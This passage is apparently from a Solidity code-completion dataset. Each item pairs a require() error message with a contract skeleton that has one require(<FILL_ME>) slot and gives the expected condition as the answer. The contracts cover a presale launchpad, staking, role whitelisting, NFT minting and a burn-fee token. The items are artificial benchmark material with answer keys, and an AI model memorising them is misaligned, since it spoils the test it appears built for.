// This function can update an existing allocation
function addMultipleWhitelistedAddressesForRound2(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function removeWhitelistedAddress(address _address) external onlyOwner {
}
function withdrawWei(uint256 _amount) external onlyOwner {
}
//update from original contract
function claimableAmount(address user) external view returns (uint256) {
}
// Add from LaunchPad initial contract
function remainToClaim(address user) external view returns (uint256) {
}
function withdrawToken() external onlyOwner returns (bool) {
}
// function update from initial Smart contract
//
function claim() external returns (bool) {
}
function buyRound1() public payable {
require(_roundNumber() == 1, "presale isn't on good round");
require(msg.value > 0, "amount too low");
require(<FILL_ME>)
require(
round1Allowance[msg.sender] >= msg.value,
"Amount too high or not white listed"
);
uint256 amount = msg.value.mul(multiplier);
require(
totalOwed.add(amount) <= token.balanceOf(address(this)),
"sold out"
);
round1Allowance[msg.sender] = round1Allowance[msg.sender].sub(
msg.value,
"Maximum purchase cap hit"
);
if (claimable[msg.sender] == 0) participants = participants.add(1);
claimable[msg.sender] = claimable[msg.sender].add(msg.value);
totalOwed = totalOwed.add(amount);
weiRaised = weiRaised.add(msg.value);
}
function buyRound2() public payable {
}
fallback() external payable {
}
receive() external payable {
}
}
| weiRaised.add(msg.value)<=weiTarget,"Target already hit" | 296,680 | weiRaised.add(msg.value)<=weiTarget |
"Amount too high or not white listed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract LaunchPadBrightUnionEth is Ownable {
using SafeMath for uint256;
// 4 rounds : 0 = not open, 1 = guaranty round, 2 = First come first serve, 3 = sale finished
uint256 public round1BeganAt;
uint256 public claimUnlockedTimestamp; // init timestamp of claim begins
function roundNumber() external view returns (uint256) {
}
function _roundNumber() internal view returns (uint256) {
}
function setRound1Timestamp(uint256 _round1BeginAt) external onlyOwner {
}
function setClaimableTimestamp(uint256 _claimUnlockedTimestamp)
external
onlyOwner
{
}
uint256 constant round1Duration = 600; // in secondes 3600 = 1h
// Add from LaunchPad initial contract
uint256 public firstVestingUnlockTimestamp;
uint256 public secondVestingUnlockTimestamp;
//uint256 public thirdVestingUnlockTimestamp;
// Add from LaunchPad initial contract
mapping(address => bool) _initialClaimDone;
mapping(address => uint256) _firstVestingAmount;
mapping(address => uint256) _secondVestingAmount;
//mapping(address => uint256) _thirdVestingAmount;
IERC20 public immutable token;
constructor(IERC20 _token) {
}
mapping(address => bool) public isWhitelisted; // used for front end when user have claim and used his allowances
mapping(address => uint256) public round1Allowance;
mapping(address => uint256) public round2Allowance;
uint256 public tokenTarget;
uint256 public weiTarget;
uint256 public multiplier;
bool public endUnlocked;
uint256 public totalOwed;
mapping(address => uint256) public claimable;
mapping(address => uint256) public claimed;
uint256 public weiRaised;
uint256 public participants;
event StartSale(uint256 startTimestamp);
event EndUnlockedEvent(uint256 endTimestamp);
event ClaimUnlockedEvent(uint256 claimTimestamp);
event RoundChange(uint256 roundNumber);
function initSale(uint256 _tokenTarget, uint256 _weiTarget)
external
onlyOwner
{
}
// Add from LaunchPad initial contract
// initiate vesting timestamp
function initVestingsTimestamp(uint256 _first, uint256 _second)
external
onlyOwner
{
}
function getRound1Duration() external view returns (uint256) {
}
function claimUnlocked() external view returns (bool) {
}
function _claimUnlocked() internal view returns (bool) {
}
function setTokenTarget(uint256 _tokenTarget) external onlyOwner {
}
function setStableTarget(uint256 _weiTarget) external onlyOwner {
}
function startSale() external onlyOwner {
}
function finishSale() external onlyOwner {
}
function addWhitelistedAddress(address _address, uint256 _allocation)
external
onlyOwner
{
}
function addMultipleWhitelistedAddressesMultiplier4(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function addMultipleWhitelistedAddressesMultiplier1(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
// Add from LaunchPad initial contract
// add allocations for round 2
// This function can update an existing allocation
function addMultipleWhitelistedAddressesForRound2(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function removeWhitelistedAddress(address _address) external onlyOwner {
}
function withdrawWei(uint256 _amount) external onlyOwner {
}
//update from original contract
function claimableAmount(address user) external view returns (uint256) {
}
// Add from LaunchPad initial contract
function remainToClaim(address user) external view returns (uint256) {
}
function withdrawToken() external onlyOwner returns (bool) {
}
// function update from initial Smart contract
//
function claim() external returns (bool) {
}
function buyRound1() public payable {
require(_roundNumber() == 1, "presale isn't on good round");
require(msg.value > 0, "amount too low");
require(weiRaised.add(msg.value) <= weiTarget, "Target already hit");
require(<FILL_ME>)
uint256 amount = msg.value.mul(multiplier);
require(
totalOwed.add(amount) <= token.balanceOf(address(this)),
"sold out"
);
round1Allowance[msg.sender] = round1Allowance[msg.sender].sub(
msg.value,
"Maximum purchase cap hit"
);
if (claimable[msg.sender] == 0) participants = participants.add(1);
claimable[msg.sender] = claimable[msg.sender].add(msg.value);
totalOwed = totalOwed.add(amount);
weiRaised = weiRaised.add(msg.value);
}
function buyRound2() public payable {
}
fallback() external payable {
}
receive() external payable {
}
}
| round1Allowance[msg.sender]>=msg.value,"Amount too high or not white listed" | 296,680 | round1Allowance[msg.sender]>=msg.value |
"sold out" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract LaunchPadBrightUnionEth is Ownable {
using SafeMath for uint256;
// 4 rounds : 0 = not open, 1 = guaranty round, 2 = First come first serve, 3 = sale finished
uint256 public round1BeganAt;
uint256 public claimUnlockedTimestamp; // init timestamp of claim begins
function roundNumber() external view returns (uint256) {
}
function _roundNumber() internal view returns (uint256) {
}
function setRound1Timestamp(uint256 _round1BeginAt) external onlyOwner {
}
function setClaimableTimestamp(uint256 _claimUnlockedTimestamp)
external
onlyOwner
{
}
uint256 constant round1Duration = 600; // in secondes 3600 = 1h
// Add from LaunchPad initial contract
uint256 public firstVestingUnlockTimestamp;
uint256 public secondVestingUnlockTimestamp;
//uint256 public thirdVestingUnlockTimestamp;
// Add from LaunchPad initial contract
mapping(address => bool) _initialClaimDone;
mapping(address => uint256) _firstVestingAmount;
mapping(address => uint256) _secondVestingAmount;
//mapping(address => uint256) _thirdVestingAmount;
IERC20 public immutable token;
constructor(IERC20 _token) {
}
mapping(address => bool) public isWhitelisted; // used for front end when user have claim and used his allowances
mapping(address => uint256) public round1Allowance;
mapping(address => uint256) public round2Allowance;
uint256 public tokenTarget;
uint256 public weiTarget;
uint256 public multiplier;
bool public endUnlocked;
uint256 public totalOwed;
mapping(address => uint256) public claimable;
mapping(address => uint256) public claimed;
uint256 public weiRaised;
uint256 public participants;
event StartSale(uint256 startTimestamp);
event EndUnlockedEvent(uint256 endTimestamp);
event ClaimUnlockedEvent(uint256 claimTimestamp);
event RoundChange(uint256 roundNumber);
function initSale(uint256 _tokenTarget, uint256 _weiTarget)
external
onlyOwner
{
}
// Add from LaunchPad initial contract
// initiate vesting timestamp
function initVestingsTimestamp(uint256 _first, uint256 _second)
external
onlyOwner
{
}
function getRound1Duration() external view returns (uint256) {
}
function claimUnlocked() external view returns (bool) {
}
function _claimUnlocked() internal view returns (bool) {
}
function setTokenTarget(uint256 _tokenTarget) external onlyOwner {
}
function setStableTarget(uint256 _weiTarget) external onlyOwner {
}
function startSale() external onlyOwner {
}
function finishSale() external onlyOwner {
}
function addWhitelistedAddress(address _address, uint256 _allocation)
external
onlyOwner
{
}
function addMultipleWhitelistedAddressesMultiplier4(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function addMultipleWhitelistedAddressesMultiplier1(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
// Add from LaunchPad initial contract
// add allocations for round 2
// This function can update an existing allocation
function addMultipleWhitelistedAddressesForRound2(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function removeWhitelistedAddress(address _address) external onlyOwner {
}
function withdrawWei(uint256 _amount) external onlyOwner {
}
//update from original contract
function claimableAmount(address user) external view returns (uint256) {
}
// Add from LaunchPad initial contract
function remainToClaim(address user) external view returns (uint256) {
}
function withdrawToken() external onlyOwner returns (bool) {
}
// function update from initial Smart contract
//
function claim() external returns (bool) {
}
function buyRound1() public payable {
require(_roundNumber() == 1, "presale isn't on good round");
require(msg.value > 0, "amount too low");
require(weiRaised.add(msg.value) <= weiTarget, "Target already hit");
require(
round1Allowance[msg.sender] >= msg.value,
"Amount too high or not white listed"
);
uint256 amount = msg.value.mul(multiplier);
require(<FILL_ME>)
round1Allowance[msg.sender] = round1Allowance[msg.sender].sub(
msg.value,
"Maximum purchase cap hit"
);
if (claimable[msg.sender] == 0) participants = participants.add(1);
claimable[msg.sender] = claimable[msg.sender].add(msg.value);
totalOwed = totalOwed.add(amount);
weiRaised = weiRaised.add(msg.value);
}
function buyRound2() public payable {
}
fallback() external payable {
}
receive() external payable {
}
}
| totalOwed.add(amount)<=token.balanceOf(address(this)),"sold out" | 296,680 | totalOwed.add(amount)<=token.balanceOf(address(this)) |
"Not the good round" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract LaunchPadBrightUnionEth is Ownable {
using SafeMath for uint256;
// 4 rounds : 0 = not open, 1 = guaranty round, 2 = First come first serve, 3 = sale finished
uint256 public round1BeganAt;
uint256 public claimUnlockedTimestamp; // init timestamp of claim begins
function roundNumber() external view returns (uint256) {
}
function _roundNumber() internal view returns (uint256) {
}
function setRound1Timestamp(uint256 _round1BeginAt) external onlyOwner {
}
function setClaimableTimestamp(uint256 _claimUnlockedTimestamp)
external
onlyOwner
{
}
uint256 constant round1Duration = 600; // in secondes 3600 = 1h
// Add from LaunchPad initial contract
uint256 public firstVestingUnlockTimestamp;
uint256 public secondVestingUnlockTimestamp;
//uint256 public thirdVestingUnlockTimestamp;
// Add from LaunchPad initial contract
mapping(address => bool) _initialClaimDone;
mapping(address => uint256) _firstVestingAmount;
mapping(address => uint256) _secondVestingAmount;
//mapping(address => uint256) _thirdVestingAmount;
IERC20 public immutable token;
constructor(IERC20 _token) {
}
mapping(address => bool) public isWhitelisted; // used for front end when user have claim and used his allowances
mapping(address => uint256) public round1Allowance;
mapping(address => uint256) public round2Allowance;
uint256 public tokenTarget;
uint256 public weiTarget;
uint256 public multiplier;
bool public endUnlocked;
uint256 public totalOwed;
mapping(address => uint256) public claimable;
mapping(address => uint256) public claimed;
uint256 public weiRaised;
uint256 public participants;
event StartSale(uint256 startTimestamp);
event EndUnlockedEvent(uint256 endTimestamp);
event ClaimUnlockedEvent(uint256 claimTimestamp);
event RoundChange(uint256 roundNumber);
function initSale(uint256 _tokenTarget, uint256 _weiTarget)
external
onlyOwner
{
}
// Add from LaunchPad initial contract
// initiate vesting timestamp
function initVestingsTimestamp(uint256 _first, uint256 _second)
external
onlyOwner
{
}
function getRound1Duration() external view returns (uint256) {
}
function claimUnlocked() external view returns (bool) {
}
function _claimUnlocked() internal view returns (bool) {
}
function setTokenTarget(uint256 _tokenTarget) external onlyOwner {
}
function setStableTarget(uint256 _weiTarget) external onlyOwner {
}
function startSale() external onlyOwner {
}
function finishSale() external onlyOwner {
}
function addWhitelistedAddress(address _address, uint256 _allocation)
external
onlyOwner
{
}
function addMultipleWhitelistedAddressesMultiplier4(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function addMultipleWhitelistedAddressesMultiplier1(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
// Add from LaunchPad initial contract
// add allocations for round 2
// This function can update an existing allocation
function addMultipleWhitelistedAddressesForRound2(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function removeWhitelistedAddress(address _address) external onlyOwner {
}
function withdrawWei(uint256 _amount) external onlyOwner {
}
//update from original contract
function claimableAmount(address user) external view returns (uint256) {
}
// Add from LaunchPad initial contract
function remainToClaim(address user) external view returns (uint256) {
}
function withdrawToken() external onlyOwner returns (bool) {
}
// function update from initial Smart contract
//
function claim() external returns (bool) {
}
function buyRound1() public payable {
}
function buyRound2() public payable {
require(<FILL_ME>)
require(msg.value > 0, "amount too low");
require(
round2Allowance[msg.sender] > 0,
"you don't have round2 allowance"
);
require(weiRaised.add(msg.value) <= weiTarget, "target already hit");
round2Allowance[msg.sender] = round2Allowance[msg.sender].sub(
msg.value,
"Maximum purchase cap hit"
);
uint256 amount = msg.value.mul(multiplier);
require(
totalOwed.add(amount) <= token.balanceOf(address(this)),
"sold out"
);
if (claimable[msg.sender] == 0) participants = participants.add(1);
claimable[msg.sender] = claimable[msg.sender].add(msg.value);
totalOwed = totalOwed.add(amount);
weiRaised = weiRaised.add(msg.value);
}
fallback() external payable {
}
receive() external payable {
}
}
| _roundNumber()==2,"Not the good round" | 296,680 | _roundNumber()==2 |
"you don't have round2 allowance" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract LaunchPadBrightUnionEth is Ownable {
using SafeMath for uint256;
// 4 rounds : 0 = not open, 1 = guaranty round, 2 = First come first serve, 3 = sale finished
uint256 public round1BeganAt;
uint256 public claimUnlockedTimestamp; // init timestamp of claim begins
function roundNumber() external view returns (uint256) {
}
function _roundNumber() internal view returns (uint256) {
}
function setRound1Timestamp(uint256 _round1BeginAt) external onlyOwner {
}
function setClaimableTimestamp(uint256 _claimUnlockedTimestamp)
external
onlyOwner
{
}
uint256 constant round1Duration = 600; // in secondes 3600 = 1h
// Add from LaunchPad initial contract
uint256 public firstVestingUnlockTimestamp;
uint256 public secondVestingUnlockTimestamp;
//uint256 public thirdVestingUnlockTimestamp;
// Add from LaunchPad initial contract
mapping(address => bool) _initialClaimDone;
mapping(address => uint256) _firstVestingAmount;
mapping(address => uint256) _secondVestingAmount;
//mapping(address => uint256) _thirdVestingAmount;
IERC20 public immutable token;
constructor(IERC20 _token) {
}
mapping(address => bool) public isWhitelisted; // used for front end when user have claim and used his allowances
mapping(address => uint256) public round1Allowance;
mapping(address => uint256) public round2Allowance;
uint256 public tokenTarget;
uint256 public weiTarget;
uint256 public multiplier;
bool public endUnlocked;
uint256 public totalOwed;
mapping(address => uint256) public claimable;
mapping(address => uint256) public claimed;
uint256 public weiRaised;
uint256 public participants;
event StartSale(uint256 startTimestamp);
event EndUnlockedEvent(uint256 endTimestamp);
event ClaimUnlockedEvent(uint256 claimTimestamp);
event RoundChange(uint256 roundNumber);
function initSale(uint256 _tokenTarget, uint256 _weiTarget)
external
onlyOwner
{
}
// Add from LaunchPad initial contract
// initiate vesting timestamp
function initVestingsTimestamp(uint256 _first, uint256 _second)
external
onlyOwner
{
}
function getRound1Duration() external view returns (uint256) {
}
function claimUnlocked() external view returns (bool) {
}
function _claimUnlocked() internal view returns (bool) {
}
function setTokenTarget(uint256 _tokenTarget) external onlyOwner {
}
function setStableTarget(uint256 _weiTarget) external onlyOwner {
}
function startSale() external onlyOwner {
}
function finishSale() external onlyOwner {
}
function addWhitelistedAddress(address _address, uint256 _allocation)
external
onlyOwner
{
}
function addMultipleWhitelistedAddressesMultiplier4(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function addMultipleWhitelistedAddressesMultiplier1(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
// Add from LaunchPad initial contract
// add allocations for round 2
// This function can update an existing allocation
function addMultipleWhitelistedAddressesForRound2(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function removeWhitelistedAddress(address _address) external onlyOwner {
}
function withdrawWei(uint256 _amount) external onlyOwner {
}
//update from original contract
function claimableAmount(address user) external view returns (uint256) {
}
// Add from LaunchPad initial contract
function remainToClaim(address user) external view returns (uint256) {
}
function withdrawToken() external onlyOwner returns (bool) {
}
// function update from initial Smart contract
//
function claim() external returns (bool) {
}
function buyRound1() public payable {
}
function buyRound2() public payable {
require(_roundNumber() == 2, "Not the good round");
require(msg.value > 0, "amount too low");
require(<FILL_ME>)
require(weiRaised.add(msg.value) <= weiTarget, "target already hit");
round2Allowance[msg.sender] = round2Allowance[msg.sender].sub(
msg.value,
"Maximum purchase cap hit"
);
uint256 amount = msg.value.mul(multiplier);
require(
totalOwed.add(amount) <= token.balanceOf(address(this)),
"sold out"
);
if (claimable[msg.sender] == 0) participants = participants.add(1);
claimable[msg.sender] = claimable[msg.sender].add(msg.value);
totalOwed = totalOwed.add(amount);
weiRaised = weiRaised.add(msg.value);
}
fallback() external payable {
}
receive() external payable {
}
}
| round2Allowance[msg.sender]>0,"you don't have round2 allowance" | 296,680 | round2Allowance[msg.sender]>0 |
"Nothing staked" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.6.0;
import "SafeMath.sol";
import "ReentrancyGuard.sol";
import "TransferHelper.sol";
contract Stake is ReentrancyGuard {
using SafeMath for uint256;
address token;
address private owner;
uint256 public stakePeriod;
uint256 public totalStake;
uint256 totalWeight;
uint256 public totalTokenReceived;
uint256 public startTime;
mapping(address => uint256) public staked;
mapping(address => uint256) public timelock;
mapping(address => uint256) weighted;
mapping(address => uint256) accumulated;
event logStake(address indexed stakeHolder, uint256 amount);
event logWithdraw(address indexed stakeHolder, uint256 amount, uint256 reward);
event logDeposit(address indexed depositor, uint256 amount);
constructor(address _token, uint256 periodInDays, uint256 start, address _owner) public {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public onlyOwner {
}
function setStakePeriod(uint256 periodInDays) public onlyOwner {
}
function getStakeData() public view returns(uint256, uint256, uint256, uint256) {
}
function getStakeHolderData(address stakeHolderAddress) public view returns(uint256, uint256, uint256, uint256, uint256) {
}
function stake(uint256 amount) nonReentrant public {
}
function withdraw() nonReentrant public returns (uint256 amount, uint256 reward) {
}
function claim() nonReentrant public returns (uint256 reward) {
}
function deposit(uint amount) nonReentrant external payable {
}
function _stake(uint256 tokenIn) private {
}
function _applyReward() private returns (uint256 tokenOut, uint256 reward) {
require(<FILL_ME>)
tokenOut = staked[msg.sender];
reward = tokenOut
.mul(totalWeight.sub(weighted[msg.sender]))
.div(10**18)
.add(accumulated[msg.sender]);
totalStake = totalStake.sub(tokenOut);
accumulated[msg.sender] = 0;
staked[msg.sender] = 0;
}
function _distribute(uint256 _value, uint256 _totalStake) private {
}
}
| staked[msg.sender]>0,"Nothing staked" | 296,684 | staked[msg.sender]>0 |
"_operator does not have _role" | pragma solidity ^0.5.4;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
/**
* @dev reverts if addr does not have role
* @param _operator address
* @param _role the name of the role
* // reverts
*/
function checkRole(address _operator, string memory _role)
public
view
{
require(<FILL_ME>)
}
/**
* @dev determine if addr has role
* @param _operator address
* @param _role the name of the role
* @return bool
*/
function hasRole(address _operator, string memory _role)
public
view
returns (bool)
{
}
/**
* @dev add a role to an address
* @param _operator address
* @param _role the name of the role
*/
function addRole(address _operator, string memory _role)
internal
{
}
/**
* @dev remove a role from an address
* @param _operator address
* @param _role the name of the role
*/
function removeRole(address _operator, string memory _role)
internal
{
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param _role the name of the role
* // reverts
*/
modifier onlyRole(string memory _role)
{
}
}
contract Whitelist is Ownable, RBAC {
function grantPermission(address _operator, string memory _permission) public onlyOwner {
}
function revokePermission(address _operator, string memory _permission) public onlyOwner {
}
function grantPermissionBatch(address[] memory _operators, string memory _permission) public onlyOwner {
}
function revokePermissionBatch(address[] memory _operators, string memory _permission) public onlyOwner {
}
}
| roles[_role].has(_operator),"_operator does not have _role" | 296,736 | roles[_role].has(_operator) |
"OG LTWC presale sold out" | // SPDX-License-Identifier: GPL-3.0
// Created by HashLips
// The Nerdy Coder Clones
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract LTWC is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public contractURI;
string public baseExtension = ".json";
uint256 public cost = 0.055 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmount = 10;
uint256 public nftPerAddressLimit = 10;
uint256 public nftPresaleLimit = 250;
bool public paused = true;
bool public presaleActive = true;
address[] public whitelistedAddresses;
mapping(address => uint256) public addressMintedBalance;
constructor(
) ERC721("Lazy Tiger Wood Club", "LTWC") {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
if (msg.sender != owner()) {
require(!paused, "the contract is paused");
require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded");
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
if(presaleActive == true && isWhitelisted(msg.sender) == false) {
require(<FILL_ME>)
}
require(msg.value >= cost * _mintAmount, "insufficient funds");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
function isWhitelisted(address _user) public view returns (bool) {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setNftPresaleLimit(uint256 _newNftPresaleLimitt) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function setPresaleActive(bool _state) public onlyOwner {
}
function whitelistUsers(address[] calldata _users) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| supply+_mintAmount<=nftPresaleLimit,"OG LTWC presale sold out" | 296,787 | supply+_mintAmount<=nftPresaleLimit |
"Ownable: caller is not the owner" | /*
altGME
(altGME)
An AltStreet.io Project
Website: https://AltStreet.io
Telegram: https://t.me/altstreetio
Contract: https://etherscan.io/address/0x111111111cfacf48287ff59cc0c7b03629f1444f#code
AltStreet features a new token LP on Uniswap every few days
4% token burn per transfer for altGME
100,000 altGME initial supply + 10 ETH
*/
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
uint burnFee = 4;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
}
function balanceOf(address account) public view returns (uint) {
}
function transfer(address recipient, uint amount) public returns (bool) {
}
function allowance(address owner, address spender) public view returns (uint) {
}
function approve(address spender, uint amount) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
}
function _transfer(address sender, address recipient, uint amount) internal {
}
function _burn(address account, uint amount) internal {
}
function addBalance(address account, uint amount) internal {
}
function _approve(address owner, address spender, uint amount) internal {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal { }
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
}
function sub(uint a, uint b) internal pure returns (uint) {
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
}
function mul(uint a, uint b) internal pure returns (uint) {
}
function div(uint a, uint b) internal pure returns (uint) {
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
}
function safeApprove(IERC20 token, address spender, uint value) internal {
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
contract Ownable is Context {
//address private _owner;
mapping (address => bool) private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(<FILL_ME>)
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function addOwner(address newOwner) public onlyOwner {
}
}
contract altGME is ERC20, ERC20Detailed, Ownable {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
constructor () public ERC20Detailed("altGME | AltStreet.io", "altGME", 18) {
}
function burn(uint256 amount) public {
}
function() external payable {
}
function withdraw() external onlyOwner {
}
function withdrawToken(address tokenAddress) external onlyOwner {
}
}
| _owner[_msgSender()],"Ownable: caller is not the owner" | 296,808 | _owner[_msgSender()] |
"Invalid orderType" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract OwnableData {
// V1 - V5: OK
address public owner;
// V1 - V5: OK
address public pendingOwner;
}
contract Ownable is OwnableData {
// E1: OK
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
// F1 - F9: OK
// C1 - C21: OK
function transferOwnership(address newOwner, bool direct, bool renounce) public onlyOwner {
}
// F1 - F9: OK
// C1 - C21: OK
function claimOwnership() public {
}
// M1 - M5: OK
// C1 - C21: OK
modifier onlyOwner() {
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
